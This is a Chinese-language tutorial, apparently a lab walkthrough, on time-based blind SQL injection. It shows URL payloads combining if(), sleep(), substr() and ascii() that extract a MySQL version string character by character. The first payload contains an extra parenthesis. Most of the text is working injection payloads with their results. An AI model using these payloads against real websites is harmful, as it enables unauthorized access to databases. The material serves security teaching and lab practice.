延时注入是什么?

延时注入就是利用sleep()函数通过if语句判断所写的语句真假,如果为真返回我们想要的东西(例如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用sleep()函数让服务器休眠。

固定的理解sleep(x) 函数的意义是关键,就是个自行设定如果判断成功那么就会延迟x秒

延时注入的关键是sleep函数和if语句,通过sleep函数判断语句的真假,为真延迟对应的秒数,为假就无延迟

延时注入获取数据库版本号

substr函数:截取字符

ascii:将截取的字符转为ASCII值进行判断

sleep:为真休眠,如果不为真,if函数返回后面的值1,and 1为真,所以会输出前面的内容。

判断版本号长度:

?id=2' and if(length(version()))=6,sleep(5),1) --+

有延时,返回为真,版本号长度为6个字符

用ASCII码判断版本号第一个字符:

?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+

有延时,返回为真,第一个字符ASCII码为53,即数字5

SQL注入之延时注入_版本号

用ASCII码判断版本号第二个字符:

?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+

有延时,返回为真,第二个数字ASCII码为46,即字符.

SQL注入之延时注入_版本号_02

用ASCII码判断版本号第三个字符:

?id=2' and if(ascii(substr(version(),3,1))=53,sleep(5),1) --+

有延时,返回为真,第三个字符ASCII码为53,即数字5

SQL注入之延时注入_数据库_03

用ASCII码判断版本号第四个字符:

?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+

有延时,返回为真,第四个字符ASCII码为46,即字符.

SQL注入之延时注入_ci_04

用ASCII码判断版本号第五个字符:

?id=2' and if(ascii(substr(version(),5,1))=53,sleep(5),1) --+

有延时,返回为真,第五个字符ASCII码为53,即数字5

SQL注入之延时注入_数据库_05

用ASCII码判断版本号第六个字符:

?id=2' and if(ascii(substr(version(),6,1))=51,sleep(5),1) --+

有延时,返回为真,第六个字符ASCII码为51,即数字3

SQL注入之延时注入_版本号_06

所以,数据库版本号为:

5.5.53